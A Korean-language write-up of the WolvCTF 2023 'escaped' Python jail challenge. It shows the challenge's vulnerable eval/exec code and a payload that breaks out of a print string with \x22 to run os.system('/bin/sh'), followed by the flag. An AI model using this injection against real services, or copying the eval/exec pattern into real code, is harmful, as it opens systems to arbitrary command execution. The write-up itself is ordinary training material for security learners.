WolvCTF 2023 - escaped (jail escape)

nya
nc escaped.wolvctf.io 1337

  • [54 solves / 50 points]

jail escape라고도 하고 jail break라고도 하는 듯

Analysis

문제에서 주어진 python 코드를 살펴보자.

1
2
3
4
5
6
7
8
print("Welcome to my `cat` program. Give me a string and I'll output it back.")
code = input("Enter your string (with double quotes) >>> ")

import ast

if code[0] == '"' and code[-1] == '"' and all(ch != '"' for ch in code[1:-1]):
compiled = compile('print("' + eval(code) + '")', "out", mode = "exec")
exec(compiled)

“”으로 감싸서 입력을 보내면 print 함수를 이용해서 출력해준다. 이때 주의해야할 점은 “와 “ 사이에 “가 또 들어가면 안된다.

Solve

약간 커맨드 인젝션 하는 느낌으로 다가가보자.
"의 아스키 코드인 \x22을 이용하여 print("")을 만들어주고 ;을 이용해서 명령어를 하나 더 실행시키면 된다.

1
2
3
>>> print("a");print("b")
a
b

중요한 점은 페이로드를 보낼 때 ""으로 감싸야 한다.

Payload

1
"\x22);__import__('os').system('/bin/sh')#"

Flag

1
wctf{m30w_uwu_:3}